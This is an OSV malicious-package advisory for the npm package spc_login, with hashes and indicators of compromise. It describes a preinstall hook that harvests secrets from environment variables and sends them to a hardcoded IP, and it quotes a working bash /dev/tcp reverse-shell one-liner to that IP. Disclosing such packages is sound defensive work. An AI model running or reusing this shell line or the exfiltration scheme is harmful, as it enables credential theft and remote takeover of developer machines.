MAL-2026-15622

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/spc_login/MAL-2026-15622.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15622
Published
2026-08-31T16:41:35Z
Modified
2026-08-31T17:30:12Z
Summary
Malicious code in spc_login (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1)

package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.

Database specific
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-019155",
            "import_time":  "2026-08-31T17:16:12.550178257Z",
            "modified_time":  "2026-08-31T16:41:35Z",
            "sha256":  "e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / spc_login

Package

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "preinstall.js",
            "sha256":  "a91eb3cb8dd2dec3e595b16bf4353b5dfa84fc6cd052266c28c337268aaeb9e6",
            "tlsh":  "cb2140f1a2ba21948f624ad07796847a35fee3023721d9d02a2c515a8f42b6015f34ef"
        },
        {
            "path":  "package.json",
            "sha256":  "e207c96909f9867a8c87dcc9f3ed4a7ef73135a58eefd11de5f36b86d5fa38d5",
            "tlsh":  "c8d02b284918e03318dcc3e11a634146b09ace0f4058bd0c63970014479e33345ff21d"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "spc_login-1.0.0.tgz",
            "hashes":  {
                "sha1":  "ede7ac46818284b3429c36db990b5f2ff44f33da",
                "sha512_sri":  "sha512-mOBIku7s3BGwgMnrX+rpclMr4OdE11bkjPg+ee+x6R4pgvee3UvVAxzXNsGQe4fmI5WAYBHZakOAnzAlS4e8vg=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/spc_login/MAL-2026-15622.json"